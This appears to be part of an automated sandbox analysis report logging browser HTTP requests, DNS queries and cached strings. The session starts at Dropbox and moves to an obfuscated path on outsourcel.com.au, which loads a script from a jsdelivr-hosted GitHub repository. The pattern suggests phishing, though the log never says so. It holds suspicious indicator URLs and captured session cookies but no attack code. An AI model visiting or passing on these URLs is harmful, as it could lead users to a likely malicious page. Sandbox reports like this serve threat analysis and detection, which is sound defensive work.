__Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}; _cs_c=0; _cs_id=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67.1735338404.1.1735338404.1735338404.1724166274.1769502404442.1; _cs_s=1.0.0.9.1735340204510
Source: global traffic	HTTP traffic detected: GET /log_js_sw_data HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}; _cs_c=0; _cs_id=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67.1735338404.1.1735338404.1735338404.1724166274.1769502404442.1; _cs_s=1.0.0.9.1735340204510
Source: global traffic	HTTP traffic detected: GET /w3ertyuiu8y7654ty/ HTTP/1.1Host: outsourcel.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://outsourcel.com.au/w3ertyuiu8y7654ty/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: Kdxgqxink4UuVWatIdFhdDxLRJE=aN01wBaAuFY2Bu0r06bOjWVdp4s; cMGWmeq81qJ03eJF3w1rUMvt66Q=1735338401; 8HQcF576TSaIW7Yz8kXvw85d3L0=1735424801; 9ZcEtyq2AxyTrUiX1rW2fDjGHwQ=8tCy29oUc4hGf-tV1DGKojq6OGo; TtsIdYVCTm67I_X3aqeS7lcFuOg=24V5fd_SqGfynCsHmAJbl9ySndA; xNe26JR7FCmZw3niat3qfuD0WUc=1735338409; VpX9O1ns1Wqj-foO8a-j9d1iSOI=1735424809; q4yg2-QGHaeFQRLpCAhst2GktWs=CfSmnqkxCqZFgB_zUuHIkBA1pcg
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/787bc399e22f/main.js? HTTP/1.1Host: outsourcel.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: Kdxgqxink4UuVWatIdFhdDxLRJE=aN01wBaAuFY2Bu0r06bOjWVdp4s; cMGWmeq81qJ03eJF3w1rUMvt66Q=1735338401; 8HQcF576TSaIW7Yz8kXvw85d3L0=1735424801; 9ZcEtyq2AxyTrUiX1rW2fDjGHwQ=8tCy29oUc4hGf-tV1DGKojq6OGo; TtsIdYVCTm67I_X3aqeS7lcFuOg=24V5fd_SqGfynCsHmAJbl9ySndA
Source: global traffic	HTTP traffic detected: GET /log_js_sw_data HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}; _cs_c=0; _cs_id=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67.1735338404.1.1735338404.1735338404.1724166274.1769502404442.1; _cs_s=1.0.0.9.1735340204510
Source: global traffic	HTTP traffic detected: GET /w3ertyuiu8y7654ty/ HTTP/1.1Host: outsourcel.com.auConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://outsourcel.com.au/w3ertyuiu8y7654ty/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: Kdxgqxink4UuVWatIdFhdDxLRJE=aN01wBaAuFY2Bu0r06bOjWVdp4s; cMGWmeq81qJ03eJF3w1rUMvt66Q=1735338401; 8HQcF576TSaIW7Yz8kXvw85d3L0=1735424801; 9ZcEtyq2AxyTrUiX1rW2fDjGHwQ=8tCy29oUc4hGf-tV1DGKojq6OGo; TtsIdYVCTm67I_X3aqeS7lcFuOg=24V5fd_SqGfynCsHmAJbl9ySndA; xNe26JR7FCmZw3niat3qfuD0WUc=1735338409; VpX9O1ns1Wqj-foO8a-j9d1iSOI=1735424809; q4yg2-QGHaeFQRLpCAhst2GktWs=CfSmnqkxCqZFgB_zUuHIkBA1pcg; PHPSESSID=34e4194dbc2ad2478ecd0b26bbb16e0f
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/787bc399e22f/main.js? HTTP/1.1Host: outsourcel.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: Kdxgqxink4UuVWatIdFhdDxLRJE=aN01wBaAuFY2Bu0r06bOjWVdp4s; cMGWmeq81qJ03eJF3w1rUMvt66Q=1735338401; 8HQcF576TSaIW7Yz8kXvw85d3L0=1735424801; 9ZcEtyq2AxyTrUiX1rW2fDjGHwQ=8tCy29oUc4hGf-tV1DGKojq6OGo; TtsIdYVCTm67I_X3aqeS7lcFuOg=24V5fd_SqGfynCsHmAJbl9ySndA; xNe26JR7FCmZw3niat3qfuD0WUc=1735338409; VpX9O1ns1Wqj-foO8a-j9d1iSOI=1735424809; q4yg2-QGHaeFQRLpCAhst2GktWs=CfSmnqkxCqZFgB_zUuHIkBA1pcg
Source: global traffic	HTTP traffic detected: GET /2/udcl/log_timing HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}; _cs_c=0; _cs_id=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67.1735338404.1.1735338404.1735338404.1724166274.1769502404442.1; _cs_s=1.0.0.9.1735340204510
Source: global traffic	HTTP traffic detected: GET /w3ertyuiu8y7654ty/bAZ2D4aMPKNLdkqQFfzWAFyuBzi81IRlkCn3o8LcQh1BiQo5geFSZa9wMqxmhrjIlDoo3RjWyTP6J4VR3rTOztGeDfu75Sst5To04NkEwY1tGgvnOxgHbI7NHrw2pVJ7SeUhWlsaXcXdBsfqKPV9A0/index HTTP/1.1Host: outsourcel.com.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://outsourcel.com.au/w3ertyuiu8y7654ty/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: Kdxgqxink4UuVWatIdFhdDxLRJE=aN01wBaAuFY2Bu0r06bOjWVdp4s; cMGWmeq81qJ03eJF3w1rUMvt66Q=1735338401; 8HQcF576TSaIW7Yz8kXvw85d3L0=1735424801; 9ZcEtyq2AxyTrUiX1rW2fDjGHwQ=8tCy29oUc4hGf-tV1DGKojq6OGo; TtsIdYVCTm67I_X3aqeS7lcFuOg=24V5fd_SqGfynCsHmAJbl9ySndA; xNe26JR7FCmZw3niat3qfuD0WUc=1735338409; VpX9O1ns1Wqj-foO8a-j9d1iSOI=1735424809; q4yg2-QGHaeFQRLpCAhst2GktWs=CfSmnqkxCqZFgB_zUuHIkBA1pcg; PHPSESSID=34e4194dbc2ad2478ecd0b26bbb16e0f
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/jsd/r/8f8cbc3e2eed8cc3 HTTP/1.1Host: outsourcel.com.auConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: Kdxgqxink4UuVWatIdFhdDxLRJE=aN01wBaAuFY2Bu0r06bOjWVdp4s; cMGWmeq81qJ03eJF3w1rUMvt66Q=1735338401; 8HQcF576TSaIW7Yz8kXvw85d3L0=1735424801; 9ZcEtyq2AxyTrUiX1rW2fDjGHwQ=8tCy29oUc4hGf-tV1DGKojq6OGo; TtsIdYVCTm67I_X3aqeS7lcFuOg=24V5fd_SqGfynCsHmAJbl9ySndA; xNe26JR7FCmZw3niat3qfuD0WUc=1735338409; VpX9O1ns1Wqj-foO8a-j9d1iSOI=1735424809; q4yg2-QGHaeFQRLpCAhst2GktWs=CfSmnqkxCqZFgB_zUuHIkBA1pcg; PHPSESSID=34e4194dbc2ad2478ecd0b26bbb16e0f
Source: global traffic	HTTP traffic detected: GET /gh/syntaxerror019/HTML-STO/ld.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://outsourcel.com.au/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2/client_metrics/record HTTP/1.1Host: www.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en; __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}; _cs_c=0; _cs_id=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67.1735338404.1.1735338404.1735338404.1724166274.1769502404442.1; _cs_s=1.0.0.9.1735340204510
Source: global traffic	HTTP traffic detected: GET /gh/syntaxerror019/HTML-STO/ld.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1/update HTTP/1.1Host: beacon.dropbox.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t=QaOB2p9E3FzER2bfFEleC_wa; locale=en; __Secure-dbx_consent={"consentType":1,"consentDate":"2024-12-27T22:26:12.999Z","expireDate":"2025-06-27T21:26:12.999Z","consentMonths":6,"categories":{"strictly necessary":true,"general marketing and advertising":true,"analytics":true,"performance and functionality":true,"social media advertising":true},"userInteracted":true,"numDots":1}; _cs_c=0; _cs_id=bd324a13-fdc5-aa22-bbb7-2eb7b1282f67.1735338404.1.1735338404.1735338404.1724166274.1769502404442.1; _cs_s=1.0.0.9.1735340204510
Source: global traffic	HTTP traffic detected: GET /w3ertyuiu8y7654ty/bAZ2D4aMPKNLdkqQFfzWAFyuBzi81IRlkCn3o8LcQh1BiQo5geFSZa9wMqxmhrjIlDoo3RjWyTP6J4VR3rTOztGeDfu75Sst5To04NkEwY1tGgvnOxgHbI7NHrw2pVJ7SeUhWlsaXcXdBsfqKPV9A0/index HTTP/1.1Host: outsourcel.com.auConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://outsourcel.com.au/w3ertyuiu8y7654ty/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: Kdxgqxink4UuVWatIdFhdDxLRJE=aN01wBaAuFY2Bu0r06bOjWVdp4s; cMGWmeq81qJ03eJF3w1rUMvt66Q=1735338401; 8HQcF576TSaIW7Yz8kXvw85d3L0=1735424801; 9ZcEtyq2AxyTrUiX1rW2fDjGHwQ=8tCy29oUc4hGf-tV1DGKojq6OGo; TtsIdYVCTm67I_X3aqeS7lcFuOg=24V5fd_SqGfynCsHmAJbl9ySndA; xNe26JR7FCmZw3niat3qfuD0WUc=1735338409; VpX9O1ns1Wqj-foO8a-j9d1iSOI=1735424809; q4yg2-QGHaeFQRLpCAhst2GktWs=CfSmnqkxCqZFgB_zUuHIkBA1pcg; PHPSESSID=34e4194dbc2ad2478ecd0b26bbb16e0f; cf_clearance=UdquB2A0v9BjGf8tq6IJmtDl.7p661yv5PdQ.9cb1iY-1735338419-1.2.1.1-S4jNQmb7oQgzP9r.9luWfFRJuQgmISqP_DAeJ2TDI7pHaV03qhW7ZQTw3NepAPzb0MrxR3sOMu.q6YqK11vqtH3Ec29s7_UBmdkKxHxafzjhkvliZx9dsVVRSqxiJTwgWgRESorAGaOSB8EkyB0izc4mn2fB_zmxQqsvGLWTng30BRxsEevBJo21n40yrPT7ogFtTUVxbAI84fHDjN55zZjI5E8j2pYvJe46ByK3cI.VdYEICTyQcbZ_BnilB8AUXe4mMtMKI2T5HrypLiK2FeedTGslaaxNjKKhg0SENsWIphUz7z4H9jFCMe7F2FG6.PD0yaW0mjnuDqEuSYXwRNFLzib0wRRaNK9cU7pcugOgpKrZTI.x8D_EaR8gnBm.

Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: cfl.dropboxstatic.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: d.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: beacon.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: www.dropboxstatic.com
Source: global traffic	DNS traffic detected: DNS query: fp.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: use1-turn.fpjs.io
Source: global traffic	DNS traffic detected: DNS query: c.contentsquare.net
Source: global traffic	DNS traffic detected: DNS query: outsourcel.com.au
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net

Source: unknown

HTTP traffic detected: POST /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1Host: d.dropbox.comConnection: keep-aliveContent-Length: 486sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: https://www.dropbox.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.dropbox.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:00 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: 801f41414e984151b54985df1973c114Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:00 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: 3d244263fff04f8d8538243e80830ec8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:03 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: 156b8fe212b148e29f5372f4d7f6dbf0Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:03 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: 448b69caf52e414cb23c01c559c9449fConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:03 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: bb878881765d4185ab15bfc5efe8f635Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:04 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: bf325db19a744d5a9dc64bf01b0cce8dConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:13 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: 13057892061748d0ad4678a9f8143306Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:14 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: 208b6af1c36d4b85a133219003eb0641Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Dropbox-Is-Upstream-Batch: trueContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:50 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: 21bcb06f653244abb945f3bf2b3b8446Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Dropbox-Is-Upstream-Batch: trueContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:51 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: af4fc0ec63fd46e58d6bd1fe3c9b5eebConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Dropbox-Is-Upstream-Batch: trueContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:51 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: e97ec4243d684a8e818d491d18a021a6Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Dropbox-Is-Upstream-Batch: trueContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:52 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: a3706764d43b429582618b70b498f967Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Dropbox-Is-Upstream-Batch: trueContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:55 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: 8b8473fcc4234903b8ffcf18328ed74fConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Dropbox-Is-Upstream-Batch: trueContent-Length: 1233Content-Type: text/htmlDate: Fri, 27 Dec 2024 22:26:57 GMTServer: envoyStrict-Transport-Security: max-age=31536000; includeSubDomainsX-Dropbox-Trace-Id: 8fa847dcfded41b78b01e7734aab747fCache-Control: no-cache, no-storeVary: Accept-EncodingX-Dropbox-Response-Origin: far_remoteX-Dropbox-Request-Id: 8fa847dcfded41b78b01e7734aab747fConnection: close

Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: http://capture.dropbox.com/open
Source: chromecache_483.1.dr, chromecache_558.1.dr	String found in binary or memory: http://dropbox.com/search#ai_onboarding
Source: chromecache_561.1.dr, chromecache_377.1.dr	String found in binary or memory: http://outsourcel.com.au/w3ertyuiu8y7654ty/
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/gsi/
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/gsi/button
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/gsi/fedcm.json
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/gsi/fedcmcsp?client_id=
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/gsi/iframe/select
Source: chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/gsi/log
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/gsi/revoke
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/gsi/select
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/gsi/status
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/gsi/style
Source: chromecache_391.1.dr, chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/iframe
Source: chromecache_363.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/v2/auth
